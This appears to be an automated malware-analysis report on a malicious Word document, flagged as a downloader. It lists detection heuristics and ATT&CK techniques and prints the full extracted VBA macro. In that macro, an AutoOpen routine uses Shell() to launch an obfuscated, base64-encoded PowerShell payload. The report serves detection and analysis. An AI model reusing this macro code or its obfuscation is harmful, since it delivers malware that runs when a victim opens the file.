MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The Autoopen macro triggers a Shell() call, which is highly indicative of downloading and executing a second-stage payload. The ClamAV detection name 'Doc.Downloader.Valyria-6595163-0' further supports this assessment.
Heuristics 7
-
ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
jiVftP = YjhqHB vMrSjSZQSZ = FdRDfzwj + Shell(JjnQHYC + Chr(VTsZrjFki + vbKeyP + FzIDQqD) + "owers" + AfOcWOSfq + rNNYmu + fusaGzF + AwdKK, 36193 - 36193) aiUGQo = CLng(33882 * CSng(uWPup + ChrB(sDzHv + CInt(42364)))) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub Autoopen() On Error Resume Next -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10774 bytes |
SHA-256: 621ed4c49aad5ce90c638408c49c8624c36d718fc0bb7e4dad6531a55cc10fcd |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ikilJJCtWmNS" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function vMrSjSZQSZ() On Error Resume Next tfCcf = CLng(25976 * CSng(srdOnu + ChrB(iWzzY + CInt(61633)))) jSzdTl = Int(nzaOGF) bEICz = TiwKVz bwOfJ = ZNNFzL BEuDzh = vCSruZ iBVmHT = SoivE jAOwI = CLng(82270 * CSng(fPjtL + ChrB(LdZjXk + CInt(70079)))) uLrTrr = Int(jPMHu) HvnTi = BSPRb TIitIK = UfmoX RwHwzX = QaEilM jiVftP = YjhqHB vMrSjSZQSZ = FdRDfzwj + Shell(JjnQHYC + Chr(VTsZrjFki + vbKeyP + FzIDQqD) + "owers" + AfOcWOSfq + rNNYmu + fusaGzF + AwdKK, 36193 - 36193) aiUGQo = CLng(33882 * CSng(uWPup + ChrB(sDzHv + CInt(42364)))) lJHuHm = Int(PZGsVp) sjcVYX = ozPwZh fhjLfS = YNLIBY UQXZAU = UXmXwB JrwhFN = rXjpWB End Function Sub Autoopen() On Error Resume Next VQMWw = CLng(74507 * CSng(jsZZM + ChrB(LKwojR + CInt(81584)))) WPbwL = Int(dtqji) fwHZA = PiZwW shYha = IFLEzA anhqqB = vtzMDW jBLpXs = DdjvS vMrSjSZQSZ aZHbzG = CLng(78955 * CSng(Nhoiwh + ChrB(whLiD + CInt(6992)))) DzObIS = Int(JAuXC) WlYNw = NTUWGb FEwUQ = vwVIM wWEEh = LuSrMJ hVqJjc = AwMRM End Sub Attribute VB_Name = "dIHQAdLqwKJ" Function AfOcWOSfq() On Error Resume Next OafsYB = CLng(38491 * CSng(pFrFjj + ChrB(KdSsEC + CInt(21470)))) pWAWiC = Int(iToTA) qYkfBT = mZJjwE uIiEzD = qVXflk WXRQfE = FiMDi LQNRX = YQaljV NXPOHYWT = "He" + "LL -e LgAgACgA" + "IAAkAHMASABlA" + "EwAbAB" + "pAEQAWwAxAF" + "0AKwAkAFM" + "ASABlAEwAb" QACMAQ = CLng(66982 * CSng(PCsSS + ChrB(IpaVA + CInt(28355)))) RZIGHG = Int(Owlhv) nTCVMn = IvNUwF QbzPjG = watGt XzTQK = jMpmF NObWM = ICcvnw urrGwfLCalh = "ABpAEQAWwAxA" + "DMAXQ" + "ArACcAWAA" + "nACkA" woWpt = CLng(16535 * CSng(SicLc + ChrB(KaWRao + CInt(89625)))) VslcO = Int(wrjbJ) tLjNW = iqrjmQ OdhfKU = CRdwkN CQbzAB = DwrJu KEOmFV = zcQLVH WkZHzJOZwi = "IA" + "AoACAATgBlAF" + "cALQBvA" + "GIASgBFAEMAVAA" + "gA" + "FM" + "AeQBzAFQA" Tcinc = CLng(18161 * CSng(bZPll + ChrB(nKiqW + CInt(30848)))) nzCrqP = Int(fZAQct) mbQDjl = jfzAU uowao = SXVZr NikBZz = sYBjO qiaESD = VIlqbZ KqYRwpQ = "ZQBtAC4AaQBPAC" + "4AQwBvAE0Ac" + "ABSAGUAUwBT" + "AGkATw" + "BOAC4AZABlAEYA" + "TABhAFQA" WbTQBY = CLng(13149 * CSng(HihFz + ChrB(chsEjn + CInt(96061)))) sSDWAb = Int(ttazX) QEkiqf = XvXND taslr = dvjBNf fNOkH = cDLdH tHZDw = pSAhiA LjKOZcpf = "ZQB" + "TAFQ" + "AcgBFAEEATQAo" + "AFsAcwBZAF" + "MAVABFAG0ALgBpA" + "E8ALgBt" + "AEUA" + "TQBPAFI" iMtrh = CLng(7131 * CSng(DSAKI + ChrB(PGbzi + CInt(95850)))) PwfErm = Int(XMXwj) cZtjL = ZkSbHO lfjrCz = Qsjhpz zzquBb = iqNslE zwWYp = BZoVUz knzLFjiV = "AWQBTA" + "HQA" + "cgBlAEEATQB" + "dAC" + "AAWwBDAG8Ab" + "gBWAGUAcgBUAF" + "0AOgA6AGYAUgBv" + "AG0" + "AQ" + "gBhAFMAZQA" zkpMt = CLng(23735 * CSng(blcjFm + ChrB(CpWzRv + CInt(15072)))) vMJAC = Int(YKVaCZ) zAAwZV = OUqSCz kSWDEu = ocDtJq aGGDN = EpVAs KCbWq = EtnszW SOAMBUjnE = "2ADQAcwB0A" + "HI" + "AaQBOA" + "EcAKAA" + "nAFYAWgBEAG" + "gAVAA5AHMA" + "dwBFAE0AWAAvAE" + "YAWAArAEkAbABGA" + "GEAagB0AGk" + "AYQB" AfOcWOSfq = NXPOHYWT + urrGwfLCalh + WkZHzJOZwi + KqYRwpQ + LjKOZcpf + knzLFjiV + SOAMBUjnE End Function Function rNNYmu() On Error Resume Next iRJYzE = CLng(29281 * CSng(toOjPo + ChrB(uvwVLi + CInt(69665)))) NFMvFw = Int(hGjEj) vRYvcv = ONnbI zsviL = umvSl KhiGH = KFKwiY iiTQA = lnvzW bjsZCbGtJiM = "OAGoAUgBGAE" + "4AUQBoAHUAMABGA" + "GQAQgBRAEsAVw" + "B5AGcAYQBkA" + "Eo" + "AMABjAF" + "kANw" + "BFAEkAZgB" + "GAGwAegByAF" + "UATwBWAFAAMwBmA" cYkpwA = CLng(98120 * CSng(mSNmIF + ChrB(QDwAOW + CInt(9672)))) laWuzz = Int(OkHTi) aPMwfm = PVhIuf jwzIP = vwObF mQDdio = MpnmBj SNQtOz = flSmz QvNNbVwG = "FoAMgBnAEIAOA" + "BjAFcAUwAvAGQA" + "NwB6AD" + "MAZgB0AEYAdAA" + "zADcAcQA4AD" + "EALwBpAG0AN" + "wBEAG8ASgA1" + "AFQAWABxAEYA" GfbBk = CLng(86173 * CSng(zVLrCT + ChrB(SiwJv + CInt(47363)))) FiiVNF = Int(Hilqik) jOmCJ = lwBYr jAApIr = ZBzsfW zrqaBX = wmQKHm tIjKi = ZfHpd ajmSltZoOJj = "awA0AHM" + "AQQBX" + "ADEAUwBYAF" + "QAdQA2AFcAcg" + "B4AFgAcwBvA" + "GU" + "AZQBzAFoAVwB" + "wAHMAagB5AEIA" + "dgB" DLSjVG = CLng(61405 * CSng(FuFbW + ChrB(KhOji + CInt(2014)))) GftQh = Int(DNTkB) CTYfCu = bQPzC oKIrQ = Kctzf SnEcI = JEiTAm MpaZp = jqLtru aOpiWv = "NAGYAagBVAEg" + "ATABTAGUA" + "VAB2" + "AHEAdAB0ADE" + "AT" + "QBNAFkAVgBjAD" + "MA" CMqUJ = CLng(42715 * CSng(GjHzwH + ChrB(pwaUKW + CInt(79403)))) ikCEF = Int(jHtNil) zNJKdt = chabhO skZjYh = iGSFQt bNmPW = skQJjc bAKbWr = qWUjK IqjbVlBUtb = "ZQBzAGwARABV" + "ADkAMwB" + "oAFAAV" + "AB5AHAAVQByAFUA" + "NgB" kSHrF = CLng(25776 * CSng(YBUnL + ChrB(TzHTP + CInt(1017)))) nXdvqi = Int(jjEsG) RKZcY = SbVaf QLXLj = EfPQM LBXoQs = bhFtJY vLhTSz = ZZWBYz TaXonuvQjZ = "DADAAe" + "QBBAHAAMAB" + "DADYAWg" + "BCAHQAe" + "AB" + "jADEAMQBaADIA" + "cQBlADUAVQBO" + "AE0AUABjAHoA" naqBz = CLng(70815 * CSng(XhiLc + ChrB(DpLSOm + CInt(7247)))) twvwP = Int(mbBmsv) oGPsLn = XiCIp ukODn = ttucuC tivjsS = jPjvaC okPvnI = wCMzzG GGcTU = "ZABiAEoAU" + "ABlAHUAOAB" + "sA" + "EkAegBrAEQAQgBi" + "AGE" + "AQQBVAGwA" + "TwByAD" + "kASABLAGQA" + "WABxAFQAegBtAC" AtdUp = CLng(57407 * CSng(kcwKpI + ChrB(iASdkm + CInt(8525)))) ihHul = Int(biisMf) VFblYG = IRkzz SBuUO = zqPwM swItPS = cBIvqs fABNw = vZfao dbESDDNpput = "sASABW" + "ADEAVABPADQA" + "UwBXAHUAMABJADI" + "AdAA" + "wAEwA" + "OABtAFY" + "AYQBuAFgAMgBiAD" + "IAawB2ADM" drirG = CLng(18429 * CSng(qjJvO + ChrB(SUWKJ + CInt(11849)))) cCozp = Int(zCzSR) EAoluJ = lbBfW mLipY = VUlma kCEKN = NsNJBd cBHUba = SsCqV PGhIOIWbRtW = "AeAB6A" + "GUAMgBMAEsARw" + "BEA" + "HUAegB" + "6A" + "EYAOQB" + "kAFoAQg" + "BlAFgAVgAwAG" rNNYmu = bjsZCbGtJiM + QvNNbVwG + ajmSltZoOJj + aOpiWv + IqjbVlBUtb + TaXonuvQjZ + GGcTU + dbESDDNpput + PGhIOIWbRtW End Function Function fusaGzF() On Error Resume Next aEvNT = CLng(27288 * CSng(iJHzb + ChrB(JRdrd + CInt(19449)))) GwNOz = Int(LDksz) oAQJw = qnQASt tNRFo = ZjVFi hOKCJw = HjmNs jsnXj = dTFGv Wjrhbrf = "YAbQByAEgAc" + "gBh" + "AEMASgBvAG" + "MARw" + "ByAEUAW" + "gBaAHIAZAB" + "UADgA" + "Kw" + "AwA" wvsahT = CLng(91470 * CSng(TPljkG + ChrB(BmZGA + CInt(47338)))) IHmJlw = Int(WcHOH) CYhBT = GoQHH dEchfA = VAnkoY wlwndR = vzdEYm SIrzfW = tYpwG MrVmMVO = "FgAYQBwAEM" + "AcQB" + "XAFcAZAB" + "jAFkA" + "SABzAFUAb" + "gA4AFQAa" + "QBKAEwAa" + "wArAEwA" + "MwA3AFAASAAwAE" + "MAd" lKOnt = CLng(56537 * CSng(UUsddp + ChrB(iEzcH + CInt(26853)))) DswkI = Int(aCNHq) wqklp = uBOzP WqNZp = MpsHi RCkbL = HlmGq zTJRM = zFciO LvjYSz = "gBhAFUAUQ" + "Bv" + "ADkAQgBoADUAOQB" + "QA" + "EIAQ" + "wBIAG4A" + "NwA1ACsALwBuAE" oANnu = CLng(1702 * CSng(rISTmb + ChrB(qwqdb + CInt(30299)))) ucWPud = Int(JcpinR) KDTqlb = JfzXpt APwHw = tXrYz wifdk = KiftWn oAkzWs = kKINq bnEPnKZXauk = "kAWQBIAEYAMw" + "BHAGMALwB0AGsAU" + "QBMAHMAKwB" + "EAG0AQQ" + "A2ADgAVQ" + "BIAEUA" ozumMv = CLng(82870 * CSng(dQdBO + ChrB(fOqHs + CInt(22949)))) KTIaU = Int(unoZSn) JMksj = vbKjHv UZVTB = iJiim rPwbo = LOFOSi bQQqAj = fMLUR BSCWoubqUno = "ZgArAEoAdwB" + "2AG8" + "AVABEAFg" + "AZQBLAEE" + "AYwBYAEoASAB" + "EAGsARgB" + "YAG8AMgBn" + "ADIAdABlAG4" + "AUABXAGg" XwIAf = CLng(65375 * CSng(joLzAW + ChrB(vjCFGr + CInt(42723)))) FOSivl = Int(iEbJUU) FEikj = mEQqd FwKGNa = zruiBm AKHXq = XjbwW KFoAz = ADfiUw TPibrzviIci = "AZwByAGQAdAB6AE" + "cA" + "RwAzAFkAUA" + "BtAHg" + "AMQBzAGUA" iVXXK = CLng(43260 * CSng(zTQcws + ChrB(bUZXMj + CInt(84508)))) tJrwG = Int(jhSpJ) IjAJQ = pYqoMD bYiGK = OVScO NPfOmw = nirvUP kuTZE = nrfcBb ofRYLvhFPab = "VQByA" + "GUATgBnAFQAR" + "gBOAEs" + "AQgA2AHMAY" + "wBwAHIAeQB0AGkA" + "RgBQ" + "AHEA" huopD = CLng(73440 * CSng(CLJKEp + ChrB(QWjdN + CInt(81630)))) XUBtY = Int(sWkDM) rFstC = ilEYlJ OXXVv = nkDJam fVljbG = twUYdh fEzwjs = JuVAp TQafiZEKQ = "UAB4AGcAZABpA" + "E4ASABDAGQAW" + "gBRAE0AQwBU" + "AH" + "AAUwBPA" + "E4AZgBiADkAL" + "wBUAGYASQ" + "B3ADQAagA3AFoA" + "YQBtA" + "EIAZABi" YZnvR = CLng(13213 * CSng(MNAYz + ChrB(MbQCws + CInt(27791)))) IjEKr = Int(XVbQfm) YTKYG = aZSEa Efztr = IaoQt lZMiqm = sLcnHF rWnoqc = JnOacj DXKan = "AGIAdwB6AGoA" + "SgBP" + "AEsAZQBoAGIAU" + "gBYADMAawAyAG" + "EA" XLNIab = CLng(75398 * CSng(JsifUi + ChrB(bsqoNi + CInt(74000)))) AaRFcm = Int(IOCqVA) ihdqK = vFKHv LWknW = kYNiI LuMjU = iMoNNI WTaru = JJIab CoWQwfRNz = "Tw" + "B6AFkAawBKAFcAT" + "ABFAEkAQQBTA" + "GsAKwAzADIAUAB3" + "AD0APQ" fusaGzF = Wjrhbrf + MrVmMVO + LvjYSz + bnEPnKZXauk + BSCWoubqUno + TPibrzviIci + ofRYLvhFPab + TQafiZEKQ + DXKan + CoWQwfRNz End Function Function AwdKK() On Error Resume Next ajblc = CLng(470 * CSng(YHfPzL + ChrB(hdjfzI + CInt(52150)))) zvKjTR = Int(MDUlLt) DbMNQk = qDafI jaccSz = jfavjf ucvOA = kaISkr ZIrjBK = SmarSN NtdPJiJrKvo = "AnACAAK" + "QA" + "sA" + "FsAaQBPAC4AYwB" QXARhl = CLng(20484 * CSng(OIMiR + ChrB(FSKsbG + CInt(46348)))) ortVw = Int(ICEvn) TDHADG = RujWWt NUPwrH = siIXL DzLDQr = fCKKp aGcFU = cLtom qifuKiDHqL = "PAE0AcAB" + "yAEUAcwBTAEkAbw" + "BOAC4AYwBvAG0A" + "UABSAEUAUw" + "BTAGkATwBOAE0Ab" + "wBEAEUAXQA6" + "AD" + "oARABlAG" + "MAbwB" EjXaU = CLng(97915 * CSng(rQcRif + ChrB(iWFKJ + CInt(10575)))) WjRQd = Int(AidJLZ) MLzEiL = zEwotZ sGGji = zizFKq cImSG = itTWB zYKRic = EYHcW YtMSZkTskYZ = "tAH" + "AAUgBFAFMAcwA" + "pACAAfAB" + "GAG8AcgBlAGE" + "AQwBIACA" jrAdLt = CLng(86807 * CSng(AEpSfi + ChrB(qVYjFG + CInt(63273)))) mRRdo = Int(mUjPra) iQHcH = zTVzCt ODjtRU = iOLuQE NkICo = SIERG WjpQSO = CXjlmw oHSKPlLmbf = "AewAgA" + "E4AZQBXAC0A" + "bw" + "BiAEoARQBDAFQ" + "AIABz" ajUEM = CLng(23330 * CSng(djjMw + ChrB(lTFwR + CInt(76003)))) wQtzt = Int(hBjiwW) RhioA = uuszF VzziR = TwiYKq KjiBu = kqszD RwNtZF = nuXjj pGCRBBh = "AFkAUwBUA" + "GUAbQA" + "uAEkATw" + "AuAFMAV" + "AByAGUAYQBt" + "AHIA" + "RQBhAGQAZQB" + "SACgAJA" + "BfACwAIABbAHMA" + "eQBTAHQAZQBtAC4" RufXZ = CLng(85109 * CSng(sRpXP + ChrB(zvUMdC + CInt(89091)))) AmFFFT = Int(CcnAuj) KFSSFf = AIqihH Shtdp = RHZSU dppCX = JUkPu zOEzd = bXLZk dPDutGJGhYv = "AVABlAFgAVAAu" + "AGUATgBDAE8A" + "ZABpAG4ARwBd" + "ADoAOgBBAHM" + "AYwBJAGkAKQAg" + "AH0AIAB8A" + "CAAZgBPA" + "HIARQBBAEMASA" tWFNLC = CLng(62835 * CSng(wjCCK + ChrB(SJYmj + CInt(6587)))) ijbQRd = Int(qwNDF) IBPvJi = tNRLBp zSzYp = HLpiwu XJBSw = QzRtcd UtVOP = cGMYw AzWkmRhT = "AgAHsAIAAkAF8A" + "LgBSAGUAYQBkAF" + "QATwBlAG4A" + "RAAoAC" + "AAKQA" OZnzLl = CLng(97331 * CSng(JLjLw + ChrB(EZZfY + CInt(43747)))) oLNqbP = Int(SSKlEi) XcAGIi = rJKJQ KDjjA = taNZHj RwrAw = TchwZ PsjwB = jKMXP mhGXLECpJ = "gAH0AKQAgAA==" AwdKK = NtdPJiJrKvo + qifuKiDHqL + YtMSZkTskYZ + oHSKPlLmbf + pGCRBBh + dPDutGJGhYv + AzWkmRhT + mhGXLECpJ End Function |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.